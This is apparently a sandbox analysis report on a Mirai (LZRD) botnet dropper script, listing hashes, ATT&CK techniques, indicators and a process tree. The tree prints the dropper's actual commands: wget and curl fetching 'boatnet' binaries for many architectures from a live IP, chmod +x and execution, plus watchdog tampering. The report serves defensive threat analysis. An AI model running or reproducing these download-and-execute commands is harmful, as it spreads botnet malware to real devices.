mirai | 51a77320da977deac7fb703c6333820bae779ad712f3216fe4d407500d889a8d

Analysis

max time kernel
149s
max time network
153s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
31-12-2024 11:42

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General

Target

ohshit.sh
Size

2KB
MD5

6aff3f3662291b471ab7ad4cbdd57c29
SHA1

04c570fcebd808ce12793fc191ee5cd886bbcc73
SHA256

51a77320da977deac7fb703c6333820bae779ad712f3216fe4d407500d889a8d
SHA512

d08ebda17bc94d8c89fcbb16f42c4be409ec96222e0c49b5a69b044b2e725a63caf03d803a225b76c764d86bba42a5b303bff539a90092e432aa861a7d6f4cc4

Score

10^/10

mirai lzrd botnet defense_evasion discovery upx

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai

File and Directory Permissions Modification 1 TTPs 15 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1624	chmod
1488	chmod
1504	chmod
1520	chmod
1550	chmod
1616	chmod
1528	chmod
1564	chmod
1574	chmod
1608	chmod
1632	chmod
1592	chmod
1512	chmod
1536	chmod
1640	chmod

Executes dropped EXE 15 IoCs

ioc	pid	Process
/tmp/WTF	1489	WTF
/tmp/WTF	1505	WTF
/tmp/WTF	1513	WTF
/tmp/WTF	1521	WTF
/tmp/WTF	1529	WTF
/tmp/WTF	1537	WTF
/tmp/WTF	1551	WTF
/tmp/WTF	1565	WTF
/tmp/WTF	1575	WTF
/tmp/WTF	1593	WTF
/tmp/WTF	1609	WTF
/tmp/WTF	1617	WTF
/tmp/WTF	1625	WTF
/tmp/WTF	1633	WTF
/tmp/WTF	1641	WTF

Modifies Watchdog functionality 1 TTPs 30 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF

Enumerates running processes
Discovers information about currently running processes on the system

Writes file to system bin folder 30 IoCs

description	ioc	Process
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/fstream-1.dat	upx

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1338/cmdline	WTF
File opened for reading	/proc/1000/cmdline	WTF
File opened for reading	/proc/1293/cmdline	WTF
File opened for reading	/proc/419/cmdline	WTF
File opened for reading	/proc/1490/cmdline	WTF
File opened for reading	/proc/588/cmdline	WTF
File opened for reading	/proc/1101/cmdline	WTF
File opened for reading	/proc/1126/cmdline	WTF
File opened for reading	/proc/424/cmdline	WTF
File opened for reading	/proc/1492/cmdline	WTF
File opened for reading	/proc/1239/cmdline	WTF
File opened for reading	/proc/1475/cmdline	WTF
File opened for reading	/proc/1179/cmdline	WTF
File opened for reading	/proc/1601/cmdline	WTF
File opened for reading	/proc/1578/cmdline	WTF
File opened for reading	/proc/1636/cmdline	WTF
File opened for reading	/proc/1057/cmdline	WTF
File opened for reading	/proc/421/cmdline	WTF
File opened for reading	/proc/1073/cmdline	WTF
File opened for reading	/proc/627/cmdline	WTF
File opened for reading	/proc/514/cmdline	WTF
File opened for reading	/proc/1000/cmdline	WTF
File opened for reading	/proc/1514/cmdline	WTF
File opened for reading	/proc/1361/cmdline	WTF
File opened for reading	/proc/1274/cmdline	WTF
File opened for reading	/proc/1086/cmdline	WTF
File opened for reading	/proc/1596/cmdline	WTF
File opened for reading	/proc/709/cmdline	WTF
File opened for reading	/proc/1086/cmdline	WTF
File opened for reading	/proc/414/cmdline	WTF
File opened for reading	/proc/1239/cmdline	WTF
File opened for reading	/proc/1137/cmdline	WTF
File opened for reading	/proc/559/cmdline	WTF
File opened for reading	/proc/627/cmdline	WTF
File opened for reading	/proc/1140/cmdline	WTF
File opened for reading	/proc/1516/cmdline	WTF
File opened for reading	/proc/536/cmdline	WTF
File opened for reading	/proc/1114/cmdline	WTF
File opened for reading	/proc/538/cmdline	WTF
File opened for reading	/proc/1221/cmdline	WTF
File opened for reading	/proc/1522/cmdline	WTF
File opened for reading	/proc/668/cmdline	WTF
File opened for reading	/proc/1054/cmdline	WTF
File opened for reading	/proc/480/cmdline	WTF
File opened for reading	/proc/1628/cmdline	WTF
File opened for reading	/proc/701/cmdline	WTF
File opened for reading	/proc/1122/cmdline	WTF
File opened for reading	/proc/1568/cmdline	WTF
File opened for reading	/proc/1122/cmdline	WTF
File opened for reading	/proc/1578/cmdline	WTF
File opened for reading	/proc/1035/cmdline	WTF
File opened for reading	/proc/1506/cmdline	WTF
File opened for reading	/proc/651/cmdline	WTF
File opened for reading	/proc/1559/cmdline	WTF
File opened for reading	/proc/536/cmdline	WTF
File opened for reading	/proc/870/cmdline	WTF
File opened for reading	/proc/1240/cmdline	WTF
File opened for reading	/proc/514/cmdline	WTF
File opened for reading	/proc/536/cmdline	WTF
File opened for reading	/proc/1176/cmdline	WTF
File opened for reading	/proc/1578/cmdline	WTF
File opened for reading	/proc/1126/cmdline	WTF
File opened for reading	/proc/1514/cmdline	WTF
File opened for reading	/proc/664/cmdline	WTF

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1493	wget
1499	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/boatnet.x86	curl
File opened for modification	/tmp/boatnet.x86_64	curl
File opened for modification	/tmp/boatnet.x86	wget
File opened for modification	/tmp/boatnet.mips	wget
File opened for modification	/tmp/boatnet.arc	curl
File opened for modification	/tmp/boatnet.mpsl	wget
File opened for modification	/tmp/boatnet.arm	wget
File opened for modification	/tmp/boatnet.arm6	curl
File opened for modification	/tmp/boatnet.spc	wget
File opened for modification	/tmp/boatnet.arm6	wget
File opened for modification	/tmp/boatnet.arm7	wget
File opened for modification	/tmp/boatnet.m68k	wget
File opened for modification	/tmp/WTF	ohshit.sh
File opened for modification	/tmp/boatnet.mips	curl
File opened for modification	/tmp/boatnet.i468	curl
File opened for modification	/tmp/boatnet.spc	curl
File opened for modification	/tmp/boatnet.arc	wget
File opened for modification	/tmp/boatnet.i686	curl
File opened for modification	/tmp/boatnet.mpsl	curl
File opened for modification	/tmp/boatnet.arm5	curl
File opened for modification	/tmp/boatnet.arm7	curl
File opened for modification	/tmp/boatnet.sh4	wget
File opened for modification	/tmp/boatnet.arm	curl
File opened for modification	/tmp/boatnet.arm5	wget
File opened for modification	/tmp/boatnet.ppc	wget
File opened for modification	/tmp/boatnet.sh4	curl
File opened for modification	/tmp/boatnet.ppc	curl
File opened for modification	/tmp/boatnet.m68k	curl

/tmp/ohshit.sh
/tmp/ohshit.sh
1⤵
- Writes file to tmp directory
PID:1481
- /usr/bin/wget
  wget http://85.237.211.124/hiddenbin/boatnet.x86
  2⤵
  - Writes file to tmp directory
  PID:1482
- /usr/bin/curl
  curl -O http://85.237.211.124/hiddenbin/boatnet.x86
  2⤵
  - Writes file to tmp directory
  PID:1486
- /bin/cat
  cat boatnet.x86
  2⤵
  PID:1487
- /bin/chmod
  chmod +x boatnet.x86 config-err-YaDWEb netplan_00jvjmdy ohshit.sh snap-private-tmp ssh-IU2XV3AWLQa1 systemd-private-d46feef123ab45309818f9ae76d6c369-bolt.service-iawjZJ systemd-private-d46feef123ab45309818f9ae76d6c369-colord.service-MkWvhM systemd-private-d46feef123ab45309818f9ae76d6c369-ModemManager.service-ockDLB systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-resolved.service-yB7gR0 systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-timedated.service-cqHmau WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1488
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1489
- /usr/bin/wget
  wget http://85.237.211.124/hiddenbin/boatnet.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1493
- /usr/bin/curl
  curl -O http://85.237.211.124/hiddenbin/boatnet.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1499
- /bin/chmod
  chmod +x boatnet.mips boatnet.x86 config-err-YaDWEb netplan_00jvjmdy ohshit.sh snap-private-tmp ssh-IU2XV3AWLQa1 systemd-private-d46feef123ab45309818f9ae76d6c369-bolt.service-iawjZJ systemd-private-d46feef123ab45309818f9ae76d6c369-colord.service-MkWvhM systemd-private-d46feef123ab45309818f9ae76d6c369-ModemManager.service-ockDLB systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-resolved.service-yB7gR0 systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-timedated.service-cqHmau WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1504
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1505
- /usr/bin/wget
  wget http://85.237.211.124/hiddenbin/boatnet.arc
  2⤵
  - Writes file to tmp directory
  PID:1509
- /usr/bin/curl
  curl -O http://85.237.211.124/hiddenbin/boatnet.arc
  2⤵
  - Writes file to tmp directory
  PID:1510
- /bin/chmod
  chmod +x boatnet.arc boatnet.mips boatnet.x86 config-err-YaDWEb netplan_00jvjmdy ohshit.sh snap-private-tmp ssh-IU2XV3AWLQa1 systemd-private-d46feef123ab45309818f9ae76d6c369-bolt.service-iawjZJ systemd-private-d46feef123ab45309818f9ae76d6c369-colord.service-MkWvhM systemd-private-d46feef123ab45309818f9ae76d6c369-ModemManager.service-ockDLB systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-resolved.service-yB7gR0 systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-timedated.service-cqHmau WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1512
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1513
- /usr/bin/wget
  wget http://85.237.211.124/hiddenbin/boatnet.i468
  2⤵
  PID:1517
- /usr/bin/curl
  curl -O http://85.237.211.124/hiddenbin/boatnet.i468
  2⤵
  - Writes file to tmp directory
  PID:1518
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 config-err-YaDWEb netplan_00jvjmdy ohshit.sh snap-private-tmp ssh-IU2XV3AWLQa1 systemd-private-d46feef123ab45309818f9ae76d6c369-bolt.service-iawjZJ systemd-private-d46feef123ab45309818f9ae76d6c369-colord.service-MkWvhM systemd-private-d46feef123ab45309818f9ae76d6c369-ModemManager.service-ockDLB systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-resolved.service-yB7gR0 systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-timedated.service-cqHmau WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1520
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1521
- /usr/bin/wget
  wget http://85.237.211.124/hiddenbin/boatnet.i686
  2⤵
  PID:1525
- /usr/bin/curl
  curl -O http://85.237.211.124/hiddenbin/boatnet.i686
  2⤵
  - Writes file to tmp directory
  PID:1526
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 config-err-YaDWEb netplan_00jvjmdy ohshit.sh snap-private-tmp ssh-IU2XV3AWLQa1 systemd-private-d46feef123ab45309818f9ae76d6c369-bolt.service-iawjZJ systemd-private-d46feef123ab45309818f9ae76d6c369-colord.service-MkWvhM systemd-private-d46feef123ab45309818f9ae76d6c369-ModemManager.service-ockDLB systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-resolved.service-yB7gR0 systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-timedated.service-cqHmau WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1528
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1529
- /usr/bin/wget
  wget http://85.237.211.124/hiddenbin/boatnet.x86_64
  2⤵
  PID:1533
- /usr/bin/curl
  curl -O http://85.237.211.124/hiddenbin/boatnet.x86_64
  2⤵
  - Writes file to tmp directory
  PID:1534
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 config-err-YaDWEb netplan_00jvjmdy ohshit.sh snap-private-tmp ssh-IU2XV3AWLQa1 systemd-private-d46feef123ab45309818f9ae76d6c369-bolt.service-iawjZJ systemd-private-d46feef123ab45309818f9ae76d6c369-colord.service-MkWvhM systemd-private-d46feef123ab45309818f9ae76d6c369-ModemManager.service-ockDLB systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-resolved.service-yB7gR0 systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-timedated.service-cqHmau WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1536
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1537
- /usr/bin/wget
  wget http://85.237.211.124/hiddenbin/boatnet.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1541
- /usr/bin/curl
  curl -O http://85.237.211.124/hiddenbin/boatnet.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1544
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-YaDWEb netplan_00jvjmdy ohshit.sh snap-private-tmp ssh-IU2XV3AWLQa1 systemd-private-d46feef123ab45309818f9ae76d6c369-bolt.service-4d7go9 systemd-private-d46feef123ab45309818f9ae76d6c369-colord.service-MkWvhM systemd-private-d46feef123ab45309818f9ae76d6c369-ModemManager.service-ockDLB systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-resolved.service-yB7gR0 systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-timedated.service-cqHmau WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1550
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1551
- /usr/bin/wget
  wget http://85.237.211.124/hiddenbin/boatnet.arm
  2⤵
  - Writes file to tmp directory
  PID:1555
- /usr/bin/curl
  curl -O http://85.237.211.124/hiddenbin/boatnet.arm
  2⤵
  - Writes file to tmp directory
  PID:1558
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-YaDWEb netplan_00jvjmdy ohshit.sh snap-private-tmp ssh-IU2XV3AWLQa1 systemd-private-d46feef123ab45309818f9ae76d6c369-bolt.service-uyVJi6 systemd-private-d46feef123ab45309818f9ae76d6c369-colord.service-MkWvhM systemd-private-d46feef123ab45309818f9ae76d6c369-ModemManager.service-ockDLB systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-resolved.service-yB7gR0 systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-timedated.service-cqHmau WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1564
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1565
- /usr/bin/wget
  wget http://85.237.211.124/hiddenbin/boatnet.arm5
  2⤵
  - Writes file to tmp directory
  PID:1569
- /usr/bin/curl
  curl -O http://85.237.211.124/hiddenbin/boatnet.arm5
  2⤵
  - Writes file to tmp directory
  PID:1570
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-YaDWEb netplan_00jvjmdy ohshit.sh snap-private-tmp ssh-IU2XV3AWLQa1 systemd-private-d46feef123ab45309818f9ae76d6c369-colord.service-MkWvhM systemd-private-d46feef123ab45309818f9ae76d6c369-ModemManager.service-ockDLB systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-resolved.service-yB7gR0 systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-timedated.service-cqHmau WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1574
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1575
- /usr/bin/wget
  wget http://85.237.211.124/hiddenbin/boatnet.arm6
  2⤵
  - Writes file to tmp directory
  PID:1579
- /usr/bin/curl
  curl -O http://85.237.211.124/hiddenbin/boatnet.arm6
  2⤵
  - Writes file to tmp directory
  PID:1584
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-YaDWEb netplan_00jvjmdy ohshit.sh snap-private-tmp ssh-IU2XV3AWLQa1 systemd-private-d46feef123ab45309818f9ae76d6c369-bolt.service-EC9avh systemd-private-d46feef123ab45309818f9ae76d6c369-colord.service-MkWvhM systemd-private-d46feef123ab45309818f9ae76d6c369-ModemManager.service-ockDLB systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-resolved.service-yB7gR0 systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-timedated.service-cqHmau WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1592
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1593
- /usr/bin/wget
  wget http://85.237.211.124/hiddenbin/boatnet.arm7
  2⤵
  - Writes file to tmp directory
  PID:1597
- /usr/bin/curl
  curl -O http://85.237.211.124/hiddenbin/boatnet.arm7
  2⤵
  - Writes file to tmp directory
  PID:1600
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-YaDWEb netplan_00jvjmdy ohshit.sh snap-private-tmp ssh-IU2XV3AWLQa1 systemd-private-d46feef123ab45309818f9ae76d6c369-colord.service-MkWvhM systemd-private-d46feef123ab45309818f9ae76d6c369-ModemManager.service-ockDLB systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-resolved.service-yB7gR0 systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-timedated.service-cqHmau WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1608
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1609
- /usr/bin/wget
  wget http://85.237.211.124/hiddenbin/boatnet.ppc
  2⤵
  - Writes file to tmp directory
  PID:1613
- /usr/bin/curl
  curl -O http://85.237.211.124/hiddenbin/boatnet.ppc
  2⤵
  - Writes file to tmp directory
  PID:1614
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 config-err-YaDWEb netplan_00jvjmdy ohshit.sh snap-private-tmp ssh-IU2XV3AWLQa1 systemd-private-d46feef123ab45309818f9ae76d6c369-colord.service-MkWvhM systemd-private-d46feef123ab45309818f9ae76d6c369-ModemManager.service-ockDLB systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-resolved.service-yB7gR0 systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-timedated.service-cqHmau WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1616
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1617
- /usr/bin/wget
  wget http://85.237.211.124/hiddenbin/boatnet.spc
  2⤵
  - Writes file to tmp directory
  PID:1621
- /usr/bin/curl
  curl -O http://85.237.211.124/hiddenbin/boatnet.spc
  2⤵
  - Writes file to tmp directory
  PID:1622
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 config-err-YaDWEb netplan_00jvjmdy ohshit.sh snap-private-tmp ssh-IU2XV3AWLQa1 systemd-private-d46feef123ab45309818f9ae76d6c369-colord.service-MkWvhM systemd-private-d46feef123ab45309818f9ae76d6c369-ModemManager.service-ockDLB systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-resolved.service-yB7gR0 systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-timedated.service-cqHmau WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1624
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1625
- /usr/bin/wget
  wget http://85.237.211.124/hiddenbin/boatnet.m68k
  2⤵
  - Writes file to tmp directory
  PID:1629
- /usr/bin/curl
  curl -O http://85.237.211.124/hiddenbin/boatnet.m68k
  2⤵
  - Writes file to tmp directory
  PID:1630
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 config-err-YaDWEb netplan_00jvjmdy ohshit.sh snap-private-tmp ssh-IU2XV3AWLQa1 systemd-private-d46feef123ab45309818f9ae76d6c369-colord.service-MkWvhM systemd-private-d46feef123ab45309818f9ae76d6c369-ModemManager.service-ockDLB systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-resolved.service-yB7gR0 systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-timedated.service-cqHmau WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1632
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1633
- /usr/bin/wget
  wget http://85.237.211.124/hiddenbin/boatnet.sh4
  2⤵
  - Writes file to tmp directory
  PID:1637
- /usr/bin/curl
  curl -O http://85.237.211.124/hiddenbin/boatnet.sh4
  2⤵
  - Writes file to tmp directory
  PID:1638
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 config-err-YaDWEb netplan_00jvjmdy ohshit.sh snap-private-tmp ssh-IU2XV3AWLQa1 systemd-private-d46feef123ab45309818f9ae76d6c369-colord.service-MkWvhM systemd-private-d46feef123ab45309818f9ae76d6c369-ModemManager.service-ockDLB systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-resolved.service-yB7gR0 systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-timedated.service-cqHmau WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1640
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1641

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/boatnet.x86

Filesize
27KB

MD5
9e6da56f2e4b29e5d019938932a7d02d

SHA1
2039359cee130eb95673ba1d21a91965a87dc564

SHA256
b528a15b83072c5d848eba0700eedf37dbfb35938a29e41c4529bee4e325203a

SHA512
2084c8b7057d9fb9dc6587237c3e1a3172ae3cf51774097d587a2e2c6d0168b82d834b0c80d4f8672953df408e3b97dfc391f9aeb2ae263a2f12cbc12e34e382

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